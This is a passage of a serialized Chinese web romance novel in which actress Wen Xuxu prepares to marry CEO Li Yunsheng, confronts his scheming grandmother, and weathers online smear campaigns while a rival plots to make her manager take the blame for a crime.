所以就说,温栩栩能踢馆进入选秀节目并在节目播完后无缝参加演员综艺只因为黎氏总裁在捧自己老婆,根本不是网络上瞎猜的潜规则。 温栩栩等她们都冷静下来又放了一个雷:“我打算让你们当我的伴娘。” 杜佳安一脸激动,秦萌萌终于平静了,她问:“我能知道伴郎都是谁吗。” 黎氏娱乐的总裁举办婚礼,他请的伴郎总不该也是娱乐圈的人。 温栩栩把那伴郎团的名字都念了一遍,除了江恒盛景炎外她们不知道谁是谁,但能当黎云笙伴郎的,且还是这几个姓绝对是A市那几大家族的。 秦萌萌“呜”了一声:“队长的伴郎团一定是史上最牛伴郎团。” 等她们都彻底冷静了才告诉她们那几位脾气很好很有涵养见她们不再紧张这才问她们要了尺寸找人订做伴娘服。 做完这些温栩栩上楼打算去隔壁找黎云笙,她们都要举行婚礼了可她还有句话没有问他。 温栩栩推开浴室的门就看到男人穿着浴袍斜倚在一旁似乎在等她,温栩栩扑过去窝进他怀里:“等很久了吧黎爸爸”她笑容里带着几分挑逗的狡黠之意。 听她声音软软的喊那两个字黎云笙喉结动了动,他轻拍了拍温栩栩的头:“先放开。” “我不。”她不依。 黎云笙声音放柔:“好了,先放开。” 温栩栩撇着嘴从他怀里探出头来,“我还没洗澡,你陪我再洗一次。” 黎云笙顿了下抬眸看着那缩在角落不敢吱声的人。 黎云笙垂眸对上温栩栩那双潋滟的桃花眼,他抿唇抱着她转身换了个角度。 然后温栩栩看到房间里不敢出声满脸写着尴尬的杜佳安怯生生喊了句:“队长。” 温栩栩:“……” 大型社死现场。 秦萌萌昨晚上因为给温栩栩做伴娘这消息兴奋的睡不着觉熬夜到凌晨三四点,大早上的带着黑眼圈醒过来,还有点浑浑噩噩,总觉得是自己梦游呢。 杜佳安没睡好则是因为看到那一幕。 秦萌萌已经在吃早餐了,秦萌萌看到杜佳安从楼上下来随口说了句:“杜佳安你把队长也叫下来吃早饭啊,我还有事要问她呢。” 杜佳安扶着楼梯扶手:“不用等队长了。” 秦萌萌嘴巴里塞了颗圣女果:“她这两天不是没有通告吗,总不可能现在出门去赶通告录制节目。” 杜佳安眼神颇有些古怪,她看了眼二楼满脸无奈:“队长去约会了。” 第649章 单身狗才丢人 “大早上的约会?”秦萌萌噫了一声:“啊,我想起来了,隔壁就是黎总的别墅。” “她们那么早就出门约会吗?”秦萌萌咬着三明治满脸懵懂,秦萌萌说道:“她应该是昨晚就去隔壁了。” 秦萌萌脸红了:“啊,她们都是夫妻了晚上一起睡觉也正常吧……”她低头侧脸绯红一片。 杜佳安叹了口气心道谁能想到温栩栩不仅去了隔壁还早就把浴室的墙砸了换成推拉门呢!这俩明显早就勾勾搭搭呢。 说不定每晚回到房间就去了隔壁。 杜佳安捂脸,这什么偶像剧剧情,也太敢了。 …… 温栩栩从黎云笙怀里醒来,黎云笙正在床上翻看昨天拍摄的婚纱照,婚纱照还没有后期修图,但摄影师是董婉婉即使不修图都能感觉到这图像国际大片。 婚纱照还没拍完还需要去其他地方拍摄。 温栩栩凑过去看了一眼眨着眼睛半天不说话。 “在想什么。”耳边是男人呼出的热气,她敏感的抖了下身体,腰肢被男人扣住,鼻端都是他身上淡淡的温暖的居家气息。 “好丢人啊。”温栩栩抬头看她:“让杜佳安知道那堵被砸穿的墙……啊,好像在幽会啊。”有点可怜还丢脸。 “单身狗才丢人吧。”黎云笙觉得自己很有道理。 温栩栩:??? 有话说话为什么要进行人身攻击? 而且哪有爱豆会这么早结束单身的?都要拼事业啊! 黎云笙似乎读懂她的眼神:“爱豆和单身狗冲突吗?” “其实单身挺好的……”温栩栩没忍住开口:“韩越韩城他们不是都很喜欢单身吗。” 黎云笙扬眉:“我有没有告诉你我们有个群,你猜那个群名后来改成了什么。” 温栩栩不知道群名叫什么,温栩栩不懂还很懵。 “群名叫‘A市大家族谁脱单谁是狗’”黎云笙吐槽:“你觉得他们为什么会起这样的群名?” 温栩栩都傻眼了,她敢肯定这群名多半是韩城起的。 “我想进群。”温栩栩突然对这个群很感兴趣,黎云笙默了片刻想了想群里那些也觉得没什么。 黎云笙邀请温栩栩进群,大概因为这个时间都开始上班工作了,所以还真有人在摸鱼看微信。 【韩城:老爷子昨晚又给我打电话,整天拿盛景炎有未婚妻的事情来刺激我,我就单身,老爷子再逼我我就把我江行舟带回给他演一出戏!老爷子有本事把我腿打断!就是单身就是玩!】 【江行野:。】 【韩越:倒也不必……】 【盛景炎:你不怕江老爷子追杀你吗?带坏他们家最根正苗红的一个,你想怎么死?】 江家也是倒霉,江行野是个浪的,江恒跑娱乐圈了,江夜回那身份也没办法继承江家,剩下的就只有个江行舟最稳重,是江氏下一任继承人,偏偏韩城搞这一出。 【韩城:呵,要说起来江行舟这辈子不都载在我身上了,江行舟当初为了救我都不能完成他的特种兵梦了,按照老话本里说的我这样的是要以身相许报答他的,古有白蛇报恩许仙,现有我韩城报恩江行舟。有问题吗?】 【江行野:……你这不是报恩,你这是恩将仇报。】 【韩越:别丢人了行吗?】 【韩城:???】 【韩城:怎么回事儿?我韩少!我这张脸不管男女都喜欢的吧!我下海挂牌至少十万二十万起步啊!】 【江行野:那你可以十年二十年起步了。】 【韩城:……我的好爸爸呢!你不跟我父慈子孝了吗!我那么大一个好爸爸哪儿去了!】 群内众人发了六个点。 终于冒泡的江恒看了下聊天记录眼皮一跳。 【江恒:韩城和我哥什么时候领证了?】 群内又是点点点。 韩城几乎摁手机的手摁出了残影。 【韩城:你哪只眼睛看到我们领证了!】 江恒默默回了句。 【江恒:哪里说错了?你们没领证?刚才不是一直在打情骂俏?】 韩城有一万个“艹”在心底说不出口憋得脸都红了。 【韩城:那是我跟我江行舟每日有爱小剧场你管得着吗。】 【江恒:你还喜欢玩这个,被人叫爸爸会让你更兴奋吗?@江行舟】 这群里聊天内容越来越有伤风化,黎云笙甚至有一种如果再没人阻止他们,他们能聊起什么牌子的小雨伞更好用哪家的玩具更好玩还有各种姿势了。 他甚至怕韩城疯起来在群里甩链接推荐小黄文。 不等黎云笙把话题引到别处就见温栩栩在群内发信息了。 【温栩栩:原来江先生也喜欢这样啊,你们男人都喜欢这个吗?跟阿笙一样。】 【黎云笙:……】 【韩城:???】 群内一时无言,可能是震惊可能是不知道回什么,也可能是去看这个温栩栩是真温栩栩还是有人换了头像改了名字故意在这里闹着玩。 结果打开群内好友信息众人默了。 【韩城:?你什么时候进来的!靠啊!黎云笙你带家属进来不知道说一声吗!你早说温栩栩要进来我就不乱哔哔了!@黎云笙】喊爸爸什么的真的很羞耻啊! 【温栩栩:那个……也不必要这么激动,你们平常什么样现在也可以什么样,挺有意思的。】 韩城:我才不要被你当成笑话哎! 群内众人默了许久韩越带头发了欢迎,欢迎的图片和表情包还没发完黎云笙就发了不少图到群内。 第一张图是情侣拖鞋。 众人:? 第二张图是情侣杯子。 众人:?? 第三张图是情侣盘子和情侣碗。 众人:??? 第四张图情侣睡衣。 众人:?! 他们怀疑黎云笙在搞事并且持有证据。 结束单身马上要结婚有老婆了就飘了? 【韩城:你有事儿吗?】 【韩城:好端端的为什么要跟大熊猫抢口粮?】 【黎云笙:(微笑)】 【黎云笙:你们年纪也不小了,都还单着吧,没人要吧。我们不一样,我结婚了。】 温栩栩:? 这是他老公?怎么贱歪歪的…… 第650章 82年的拉菲绿茶 【韩城:黎云笙你不要太过分啊。】 【黎云笙:你要我给老爷子打电话吗,我会跟他说我结婚了马上要办婚礼还会有计划的跟温栩栩有子嗣。】 【韩城:爸爸。】 【江恒:哥,他爸爸好多,你也不管管?@江行舟】 【韩城:@江恒 你有病啊啊啊!】 温栩栩看着群聊天记录噗嗤笑弯了眼睛:“韩城真有意思。” 黎云笙揉揉她的头:“他像不像吉娃娃。” 温栩栩眼泪都快笑出来,她捂着肚子为韩城辩解:“他明明更像泰迪。” 黎云笙想了下十分赞同温栩栩的观点,日天日地也只能是泰迪了。 群内聊天的话题已经彻底被韩城带歪了,最后还是江行舟把话题掰回去。 温栩栩在他怀里小声问了句:“你有没有觉得韩城和江行舟之间有点怪怪的。” “他们两个的组合像不像操心的老父亲和放飞自我的泰迪。”温栩栩想到韩城有事儿没事儿就往江行舟身后躲就忍不住的弯着眼睛笑。 “韩城的确更依赖行舟。”黎云笙说道:“我们出生在这种家族自小就要学些自卫手段以防发生意外。江行舟大我们几岁他一直都想进特种部队立军功当个真英雄,但那时韩城因为任性跟家人闹翻离家出走被人绑架险些丧命,是江行舟救了他,也因为救韩城子弹穿过他的右手臂,也再不够格进入特种部队。” 温栩栩沉默。 黎云笙微微摇了摇头:“其实江行舟没有怪过韩城,只是韩城自己心里过意不去,所以在他心里江行舟算是最重要的人,可以说江行舟是他心中的英雄,所以他变成小尾巴小影子总跟在江行舟身后,江行舟性子沉闷他就充当个开心果,两人不是亲兄弟却胜似亲兄弟,但这感情有没有变质谁也说不清。” 温栩栩垂头问了句:“如果韩城对江行舟真的有感情就不会有那么多红颜知己了。” 黎云笙语气认真:“如果我说他流连花丛却从没跟那些女友在一起过夜呢。” 温栩栩有些吃惊,她想到那两家族,感觉这两个人如果真想在一起可能不是件简单的事。 “你说江行舟怎么想的 。”温栩栩问了句。 “从小到大都是他在管韩城,可他本人并不喜欢管闲事。”黎云笙说了这句话。 温栩栩再度无言,她呼了一口气,有点酸:“早知道我就该去勾江行舟了,这么纯情负责的霸总。” 黎云笙“呵”了一声看她的眼神都变了,眼瞳黑沉沉的,温栩栩这才开玩笑似的凑过去亲了口:“你别不高兴啊,我这不是选了你吗。” 黎云笙啧了一声握住她的手腕将人压在身下,漆黑的眸子藏着火,俯下身叼住她的唇瓣亲吻着:“我有没有对你说过……” 温栩栩被她亲的浑身发烫,迷迷糊糊的被摁在床上,她手揪着床单“唔”了一声回应他:“什么。” 黎云笙眸光火热炽热,他咬着她的下唇,声音带了几分涩意:“我爱你。” 温栩栩整个人一顿,她突然有了力气攀到男人身上俯下身望着他却还在喘着,她眼里发着光,唇角笑意很明显。 “我听到了,我还要听你再说一次。”她又亲了一口说道。 黎云笙扯住她的手腕将人抱进怀里,唇落在耳畔,灼烫的呼吸喷洒在其上,浑身酥麻像是被电了一下,却听他声音温柔又像是混杂着十分复杂浓重的情意:“我爱你。” 温栩栩眼眶发红,黎云笙从没有跟她说过爱,哪怕说要举办婚礼跟颜佳雨分道扬镳可却没有真的跟她提过未来更没有说过爱,所以即使她知道自己爱他却还是有种不真实的感觉,她甚至觉得是在做梦,总有一天会醒过来面对残忍的现实。 可现在面前的男人爱意深沉的对她说了“爱”。 “所以……你的未来没有颜佳雨,只有我对吗。”温栩栩定定的看着他。 “只有你。”黎云笙握住她的手紧紧的握着:“你是唯一的黎太太。” 温栩栩问他:“你还会对颜佳雨心软吗。” 他说:“不会。” 温栩栩又问他:“你还会帮温栩栩吗。” 他说:“不会。” 温栩栩最后问他:“你是真的爱我,不是在骗我对吗。” 黎云笙再度扯着她的手腕将人拉下来吻着她,这个吻带着几分急切却又急进缠绵,在她趴伏在他胸口喘息之际他像是给她承诺一般开口:“我只爱你。” 温栩栩眼泪突然落下来窝在他怀里小声呜咽像是一只想把自己圈起来的委屈小兽,他突然想起雨天躲在墙沿儿小声咪呜咪呜叫的小奶猫。 她似乎是在悲伤又像是激动。 “你是不是喜欢我长得好看。”她十分神奇,语气似乎有点嘚瑟。 黎云笙微微点头,温栩栩更得意:“我就知道你喜欢我的脸,没人能不喜欢我的脸。” 黎云笙捏了捏她的脸蛋:“我喜欢你有原则有底线有梦想有追求……”温栩栩脸蛋红了下捂住他的嘴:“好啦好啦我知道我很优秀你不要再说啦。” 黎云笙扬唇舌尖舔了下她的掌心,酥麻的痒意从手心传到四肢百骸乃至大脑,她软着身体收回自己的手,黎云笙低笑道:“还喜欢你的绿茶。” 温栩栩:? “如果论起绿茶功底,颜佳雨大概是近两年新出的,而你……82年的拉菲绿茶?” 温栩栩想去扯他的领口却发现这是在床上,黎云笙根本没穿衣服,没有东西让她拽。 她愤愤不平低下头咬了口他的锁骨报复:“哪有这样讲自己老婆的!” 我知道我绿茶,我绿茶我骄傲!但是你作为老公不许说! 温栩栩和黎云笙都不在群里发言了,两人倒是在群里秀了一波恩爱,盛景炎都无语了,黎云笙有爱人他没有吗? 群里没等多久就收到了盛景炎发的信息,还几乎都是图片,是他和许愿的自拍,他和许愿的情侣娃娃,陶瓷娃娃,还有许愿亲手为他做的钢笔。 其他人:?你们是不是有病啊! 群名是不是要改成“不秀恩爱会死群”啊! 第651章 恶人自有恶人磨 “我有没有跟你讲过有关黎家的事。” 既然是真的想要跟温栩栩在一起的,那有些事是不能瞒她的。 温栩栩顿了下,她似乎是带着点心虚,她们在一起这么多年,黎云笙怎么会不理解温栩栩这是什么表情。 “你见过黎家人了?”他问。 温栩栩点头:“很久前黎老夫人就见过我,她跟我说跟在你身边没有什么前途,想利用我盗取一些文件。” 黎云笙扬眉。 黎老太太是黎云笙的奶奶,她对家中小辈其实都没多少感情,她只是想独揽大权,所以黎家所有小辈都是她的棋子,当知道黎云笙车祸后她便担心黎云笙是装的,在知道温栩栩是黎云笙身边的情人后数次联系温栩栩,想跟温栩栩合作。 温栩栩是什么人? 虽然她是为了许愿跟黎云笙睡在一起,但她要的黎云笙全都给了她,这样信守承诺的情人哪里去找?再说了,黎云笙睡起来体验感还是很好的,她疯了才会选择黎老太太背叛黎云笙。 “我盗过文件的。”温栩栩理直气壮。 黎云笙:“?” “你盗什么了?” 他怎么不知道温栩栩盗过文件。 温栩栩得意:“我盗的你们淘汰的文件,给了她好多次错误文件,后来她觉得我是笨蛋就很少找我了。” 黎云笙:“……” “我是那么好找的吗?她都觉得我是你的情人了,所以我每次见她都会要钱,好大一笔,所以她就很少见我了。” 黎老太太这么一对比倒像个怨种。 本以为温栩栩是个蠢货打算利用盗取资料,结果真是“蠢货”,资料是真的,全是被淘汰的,黎老太太当然质问过温栩栩,但温栩栩是戏精啊,黎老太太敢凶她她就敢告状撂挑子不干,还委委屈屈的说就是这些。 花大价钱买了那么多废品资料,当然就不再见她了。 黎云笙都有些恍惚,这算什么?恶人自有恶人磨? 缓了片刻,黎云笙才将黎家的事情讲给温栩栩。 黎家是大家族,但黎家最初真正的话事人是黎老太太,老太太在黎老爷子去世后就独揽大权,甚至为了能完全掌控黎家故意养废了黎云笙的父亲,由着他的父亲在外诞下私生子私生女,因为黎老太太需要黎家血脉。 黎云笙的母亲是被她逼死的,甚至黎云笙父亲的很多情人都是她逼死的,她要的就是那些孩子没有母亲才更好掌控。 当初黎云笙遭遇的那场车祸就是黎老太太暗示黎家的其他私生子设计的,哪怕是查出来了也只是那个私生子被带走入狱,而黎老太太双手不沾半点血,却做尽了脏事恶事。 黎云笙对颜佳雨有其他感情也正因为她在黎云笙人生最黑暗的时候陪了他很久很久。 温栩栩听得心底一寒。 她一直当黎家是吃人的地方,可没想到这竟然都是真的。 黎云笙生在黎家自小看多了恶事,为了全是争得头破血流,亦或是看到有人死在自己面前所以才会对什么事都不咸不淡波澜不惊,想来是经历的事情多了,对什么都看的很淡。 她甚至想,如果不是有盛景炎韩城那些人或许他也会变成黎家人那种恶人。 还好,还好他没有成为那样的人,还好他的心中一直祈求温暖,还好他没有自暴自弃自此沦落深渊。 温栩栩突然抱住他眼眶发红:“你不是那样的黎家人。” 他浑身一震,他当然知道自己不是那样的黎家人,可温栩栩主动投怀送抱他还是心情大好的搂抱着怀里的人:“我不会为这种事伤心。” 他揉揉温栩栩的头发替她找了一双鞋小心穿戴上。 温栩栩看着他:“黎云笙,你特别好,特别特别好。”她重复着夸他。 黎云笙顿了下眼底一片黯淡。 其实他并不好,最开始他找到温栩栩只为了救颜佳雨,拿温栩栩的命来换颜佳雨的命。 现在想到这些心口就隐隐作痛,特别是看到此刻温栩栩用那样亮晶晶的眼神望着他就更是痛的厉害。 他必须把那些匹配文件都销毁,不能让这件事暴露。 他不敢赌温栩栩知道这件事后的反应。 他不能想象温栩栩有离开他的可能。 黎云笙嗓音微有哑意:“你才是最好的。” 温栩栩面上带着笑,又高兴又得意,像是开屏的骄傲小孔雀。 正在这时黎云笙收到了医院的来电,是说黎老太太重病想最后见一见温栩栩,听到这消息黎云笙并不意味,因为他是这一切的推手。 温栩栩眸中带着几分冷意:“去看看她吧。” 黎云笙没有反对。 医院。 黎老太太已经瘦弱的不成样子,她浑身只剩一层皮肉贴着骨头,远了看活像是肉色的骷髅,十分可怖,眼底下陷,一双眼睛浑浊布满血丝,看人时带着阴森恐怖的气息。 不像个人,却像是沾满罪孽的恶鬼。 老管家一直守在黎老太太病床前,他本来精气神是很好的,可如今却像一夜白了头,苍老了太多。 他已经没了以往那股子看人的傲气,只是面带悲怆。 黎云笙没有跟着进来,用温栩栩的话来说她怕黎老太太现在看到黎云笙会被一下子气死,所以进来的只有温栩栩一个人。 老管家声音悲痛:“老夫人,温小姐来看您了。” 黎老太太嗓子像是有什么堵着,一直“嗬嗬”的发出刺耳的声音,她躺在床上,许是没什么力气支撑身体的,可她像是在坚持自己最后那点尊严,不愿在温栩栩这里丢人。 她支撑着身体想坐起来,现在的黎老太太用骨瘦如柴来形容也不为过,她手撑着床铺想坐正身体都给温栩栩一种一不小心手臂会“喀嚓”碎掉的错觉。 黎老太太折腾了很久,脸上都冒了冷汗。 老管家想去帮忙黎老太太却执拗的把他骂到一旁去,坚持自己坐好这才终于看向温栩栩 温栩栩目光淡漠的看着她,她面上没有什么表情,许是跟黎云笙待的时间太久了,也许是温栩栩就想用这种表情来面对黎老太太踩她的自尊。 第652章 看你怎么死在他手里 她身上穿的衣服都是黎氏旗下最新品牌的衣服,说是华服加身也不为过,她没化妆,只下车前擦了口红让气色更好,即使如此仍旧光彩照人,更让黎老太太有种自惭形秽的感觉。 她看着温栩栩,看着看着陡然面目狰狞:“温栩栩……当初你是怎么答应我的……”她说着不停的咳嗽。 “你瞒着我……你一直瞒着我……你一直在骗我……” 她喊不出来,现在都可能是吊着一口气。 她已经知道了一切,知道温栩栩全是装的,温栩栩不是蠢货,相反她比很多人都聪明。 她要说什么?要说温栩栩答应帮她对付黎云笙,也可能要说温栩栩瞒着她黎云笙不是废人这一事。 温栩栩拖了把椅子面色淡然的坐下,“我不知道你为什么想见我,是要跟我算总账吗?可你现在有什么能力来跟我斗呢。” 黎老太太眼睛瞪的十分大,她现在瘦的太过,此刻瞪大眼睛那双眼都快要凸出来。 温栩栩嗤笑一声:“你是不是不明白?” “为什么一个柔弱爱哭的女人能瞒着你做这些事,黎云笙最新的检查你看过了,所以你一定调查过我,你肯定知道我是个什么样的人了。”温栩栩抱着手臂看她:“不妨告诉你,从一开始你想跟我合作时我就已经把你踢出合作范围。” “因为你心狠手辣,不会容许有人从你手边真的分到什么东西,如果我帮你把黎云笙斗下去恐怕我也会立刻没命。所以帮你就是害我自己,选黎云笙才是选了活路。” 温栩栩说了这些黎老太太终于懂了。 她的确是这么想的,想利用完温栩栩后就把她丢给黎家其他人随便怎么玩,哪怕玩没命她也不会管。 可是…… 帮黎云笙就是选了活路? 黎老太太突然笑起来,笑的鬼气森森,她边笑边咳嗽,可即使如此却还是要笑:“选他就是选了活路……活路……好啊……活路,温栩栩,我等着看你怎么死在黎云笙手里。” 她颤抖着手拍了几下手掌带着十足的嘲讽意味:“跟着他,你只会死的更惨。” 温栩栩一点都不生气,她甚至还在笑。 “到底是谁会死的很惨你会不清楚吗?”温栩栩弯着眉眼:“不过我倒是希望你最好别死,就一直活着,因为我会让你知道我选择黎云笙嫁给黎云笙能活的多好。” 黎老太太冷笑。 温栩栩也跟着冷笑一声:“只可惜,你活不了多久。” 黎老太太闭上眼睛,却只是重复:“跟着他,你会比我死的更惨。” 温栩栩勾唇笑意十分危险:“老太太你以前总是念佛,你信佛吗。” 黎老太太嘴唇抖了抖,脸色好像更白了,像是刷过漆的白墙。 老管家颤颤巍巍的开口:“温小姐请不要再继续说下去了,老夫人病的很严重了,不要再让老夫人受刺激了。” 温栩栩不屑:“你们老夫人把我叫来不就是想让我给她找刺激?” 温栩栩抬高声音:“老夫人你这么信佛那你肯定知道什么是因果关系。” 黎老太太身体已经在发抖了。 温栩栩可不管这些,“你害了那么多人你以为你活着要赎罪死了也要赎罪,像你这样的人还能有下辈子吗?” 温栩栩眼神冰冷的看着她,唇角的笑意愈发冰冷:“你既然信神佛,那晚上睡觉时一定要多加小心,否则不知道半夜谁会在你床头等你下地狱。” 黎老太太被她的话吓得一激灵,温栩栩嗤笑连连转身就要走,黎老太太神神道道:“我活不了,你也活不了,我们都活不了……” 温栩栩看都不再看她一眼离开病房。 温栩栩看向黎云笙开口:“她害了那么多人应该被送进去才对。” 黎云笙道:“她重病缠身活不过一个月所以申请了狱外就医。” “这世道真是奇怪,这样的杀人魔只因为她被捕时患有重病就可以申请狱外就医?那么多条人命却也只能拿着一个人的命来抵,真是不公平。”温栩栩讥讽了一句。 黎云笙淡淡道:“她有胆子狱外就医落,哪怕还有一个月的命我也要让她受尽折磨。” 人都到了医院想怎么治想怎么折腾不也是他一句话的事。 温栩栩提醒了句:“让她多活一天是一天。” 多活一天就多受一天的折磨。 她摘下手腕上的手表,这手表还是她初次去黎家老宅黎老太太送给她的有定位装置的手表。 “这是她的东西,现在也该物归原主了。” 黎云笙垂眸看着这块镶满碎钻价值不菲的手表怔怔的嗯了一声。 …… 《云雾》首播当日就刷新观看记录,第二集男装出场的温栩栩一出现观看率一直上涨,当天就上了热搜头条,温栩栩什么粉丝都有,因为颜值入坑的,因为实力入坑的,微博还为此掀起一场@温栩栩的狂潮。 网友观众们每天坐等更新。 没成想《云雾》更新第二天就有人在网上骂骂咧咧,甚至有些人说自己是《云雾》剧组的工作人员说温栩栩在组内改剧本,故意把她自己的戏份改的跟女一号的戏份一样多,为此还多次跟编剧吵架。 这位工作人员放话后就有很多“人”在下面怒骂温栩栩是剧本咖。 赵莉莉一部分粉丝被蛊惑了,另一部分粉丝觉得有人故意在黑温栩栩不敢开麦怕因为自己给赵莉莉招黑。 温栩栩粉丝呢?她们早就习惯了,一旦她们姐姐有点风吹草动那些黑粉水军就要冒头,这么多次了早熟了。 不等温栩栩粉丝们放出证据,《云雾》剧组的导演就先发了条微博表示这件事是无稽之谈。 赵导编辑微博骂这背后的人阴险,他提到自己早先就说过温栩栩是他求着请进《云雾》剧组救场的,当时陈升的档期只有半个月,温栩栩多半戏份都是跟陈升搭戏,且后期还有其他通告分身乏术根本不可能继续加戏。因为打从一开始温栩栩就没想接下《云雾》。 剧中的主演陈升乃至男二号乃至编剧都声援温栩栩。 黑粉立刻揪起温栩栩赶通告这点开始黑她,骂她轧戏说她不敬业,“林青黛”被她演崩了。 【从原著来的,原著粉表示温栩栩的林青黛演的是真不行。】 这还有“原著粉”来嘲讽了。 这次陈升直接转发这条微博。 【陈升:《云雾》是编剧原创剧本,请问是哪里来的原著粉?】 温栩栩粉丝忍俊不禁,那黑粉立刻删除评论但是还嚷嚷着温栩栩演技不行。 她前脚嚷嚷温栩栩演技不行,下一秒温栩栩就因为演技上了热搜。 第653章 需要求人帮她顶罪 赵莉莉时时那些刻刻关注着网络动向,看到都是在夸温栩栩的,她买的黑粉和水军都被人包围着骂。 赵莉莉咬着牙不敢置信,赵莉莉的经纪人却在另一边焦头烂额接到了几个广告商打来的电话,全都是来解约的!还有赵莉莉好不容易拿到的大导的电影角色也飞了!甚至连个解释都没有! 经纪人怎么都猜不到是什么原因,还是有个跟经纪人交好的不想让她这么无脑瞎猜提醒了一句“管好你的艺人,别让她得罪不该得罪的人。”朋友还提了句让她看热搜。 赵莉莉现在的广告和影视合约都没了,就是现在发生的事,经纪人看了热搜就全都明白了。 《云雾》的女主角是赵莉莉,温栩栩是女三号,但现在温栩栩的角色人设太出彩已经彻底掩盖了赵莉莉这个主角,所以选择这时候攻击温栩栩的除了她还能有谁? 经纪人想通这一点开车去找赵莉莉算账,路上又接到朋友的电话告诉她温栩栩的靠山是黎云笙和许愿。 经纪人心里咯噔一下,却又在意料之中,只是暗恼自己艺人是个没脑子的。 经纪人找到赵莉莉时她还因为网络上那件事郁闷,赵莉莉在家里一遍遍的看《云雾》更新的两集内容,每次看到温栩栩的镜头她的脸色都十分难看。 经纪人找到她劈头盖脸就是一通骂。 “你没事找温栩栩的麻烦做什么?你知不知道上一个对付温栩栩的人是什么下场!” 赵莉莉有些不屑:“她运气好罢了。” “运气好?”经纪人冷笑:“她是运气好,就因为运气好才成了黎云笙的人,你跟黎云笙的女人斗?你斗得过吗?知不知道就因为你得罪温栩栩现在你那些合约全都停止跟我们的合作,就连我给你谈下来的电影资源也飞了!” 赵莉莉有些吃惊,经纪人恨铁不成钢:“如果你还想在圈子里好好混就去跟温栩栩道歉。” 赵莉莉虽然蠢但却是个听经纪人话的,听明白利害关系哪怕再屈辱也认了。 她可不想被圈子封杀。 赵莉莉清醒后果真跟经纪人去找温栩栩道歉还特地送了礼,这之后虽然飞了的资源没回来但黎氏娱乐也没有针对她的意思,经纪人出去谈合作也再没人拒绝,两人这才松了口气心道好在温栩栩不是个小心眼的。 《云雾》最新一集温栩栩饰演的林青黛穿了军装出现在屏幕中。 她跟陈升都穿着军装,她要比陈升矮一些瘦一些,但穿上那身笔挺的墨绿色军装,宽厚的腰带勾勒出腰线,浑身矜贵却又带着峥嵘肃冷的气息,只略一抬头眼底的弑杀冰冷之意毫不收敛,仿佛隔着屏幕都永那无形的强大气场遏住了所有人的呼吸。 屏幕中的“林青黛”和陈升一次次在纷杂危险的任务中携手合作,看她从火海中成功救出联络员时眉目之间的清冷,看到她和陈升完成任务时两人默契的拳抵拳,唇角都勾起一抹笑。 两人靠着硬冷的墙面坐在地上相视一笑往嘴里丢着花生,漫天云霞仿佛都成了他们的背景。 任务一次次被完美完成,两人分别晋升负责其他任务,直到画面一暗三年后,陈升成为敌阵营的卧底跟其他人一同前往戏园,这是一条长镜头,从那花旦青衣的绣花鞋点点往上拍,拍到那华美衣裳也拍到那张化着浓妆妖冶却魅惑人心的一张脸。 这一集卡在这里结束。 观看视频的观众都在捂着嘴尖叫,有的抱着抱枕“呜呜呜”的被她的美貌震慑。更有观众在更新完毕后上微博不停夸奖温栩栩的美貌。 【救命我只喜欢男人的可是我发现温栩栩男装女装我都可以!陈升闪开放着我来!】 这种评论在网络上数不胜数。 【救命,他们两个一起执行任务时太有默契了,满满的CP感,陈升太懂我们林老板了,想吃什么都能猜得到,每次都会给林老板带回去!竟然还会体贴的给林老板送漂亮的裙子啊啊啊!陈升看到她穿女装时都呆了!爱上了爱上了!绝对爱上了!】 粉丝们纷纷扬言快磕死了。 《云雾》热播,几乎每个人都在讨论“林青黛”和陈升的陈队,不知道多少人在磕这两人的CP,就像全民都在磕这对CP,剧播到第十集女主角上线,观众也还觉得林青黛是主角,一直到第十五集林青黛死在那个冰冷的雨夜。 而她清唱的霸王别姬的戏曲好像遮住了那雨声,逐渐慢下来,像是在对着世界做最后的告别。 她死在赵司令怀里,可最终却还是看到了男主保住了男主。她用自己一条命守住了组织的秘密。 当天收视率暴涨,视频APP凌晨更新十五集后这一集点击量暴增,满屏弹幕都在哭林青黛,甚至有观众不相信林青黛就这么死了! 【林青黛不是组织最优秀的核心人员吗,她怎么死在这次任务中呢?我不相信!林青黛没死!赵司令那么喜欢林青黛一定是在配合林青黛演戏,事实是林青黛策反赵司令,赵司令跟林青黛演戏洗清林青黛和陈队的嫌疑把赵司令收编入队!】 这条评论很多人都在点赞,可后面更新的一集让他们知道林青黛就是死了。 那个空谷幽兰淡雅绝尘却又明艳雍容的林青黛是真的死了。 也只有这个时候网友们才突然惊奇的发现林青黛不是女主角,她只是个戏份很少的女三号。 可在他们眼中林青黛是女主,没了林青黛这部剧不是已经大结局了吗?直到导演说后面林青黛还会在很多人的回忆中出现,观众和粉丝十分悲怆的去看后面的剧,去找那把虐他们的刀。 温栩栩用“林青黛”一角再度证明了她自己的演技,温栩栩频频因林青黛上热搜,网络上已经有各种官博在举行各种投票。 温栩栩因为是今年的顶流,又因为“林青黛”一角粉丝暴涨,许多星榜都榜上有名,同时还为播完的《云雾》已经被网友们投进了今年最热剧星榜。 颜佳雨死死的看着这一切,对温栩栩的恨意更是涌上心头。 可她却什么都做不了,甚至还需要求着经纪人去帮自己顶罪。 第654章 帮她顶罪 颜佳雨已经被逼到绝路,她不知道自己还有什么退路,许愿给的时间那么短,她还能找谁顶替? 她想到那天黎云笙说的那些,除了让经纪人顶罪没有别的办法了。 她必须让经纪人心甘情愿的为自己顶罪。 颜佳雨眼底都是恨意,她慌乱又害怕的揉着自己的头发,经纪人林梅也连连叹气。 颜佳雨知道林梅很多事,林梅最初并不是颜佳雨的经纪人,林梅最初跟颜佳雨一样也是艺人,后被经纪公司设计拍下了一些不雅视频威胁,颜佳雨知道这件事后帮了林梅,所以后来的林梅才会帮颜佳雨做事。 但她不知道的是那些不雅视频颜佳雨根本没有删除,所以她一直都握有林梅的把柄。 她害怕,她矛盾。 林梅跟在她身边这么久,不是亲姐妹却胜似亲姐妹,现在要设计林梅会让她矛盾觉得自己真的称不上是人。 可她没办法了。 要怪就只能怪温栩栩和许愿,如果不是她们逼得,她也不会做出这种事。 “梅姐,你别怪我。” 好半晌,颜佳雨才哑着嗓子缓缓开口。 林梅愣神:“佳雨,你这是什么意思?” “梅姐,设计温栩栩那件事都是你做的,你去联系了那个粉丝栽赃温栩栩,从头到尾接触这一切的都是你,如果你不认罪不自首那我们两个都要被关进去。” “梅姐,一个人顶下所有的罪总比两个人都进去更好不是吗?” 颜佳雨有些癫狂的开口:“梅姐,你帮帮我!这些天我能找的人都找了,没有人敢得罪许愿,没有人能真的对上许愿,没人肯帮我了!” “你帮我顶罪等你出来后我一定会给你很多好处!我把我所有的钱都分你一半,梅姐!我不能进去,我进去一切就全都毁了!” 林梅一时哑然,看着此刻眼前疯狂的颜佳雨,竟是觉得陌生。 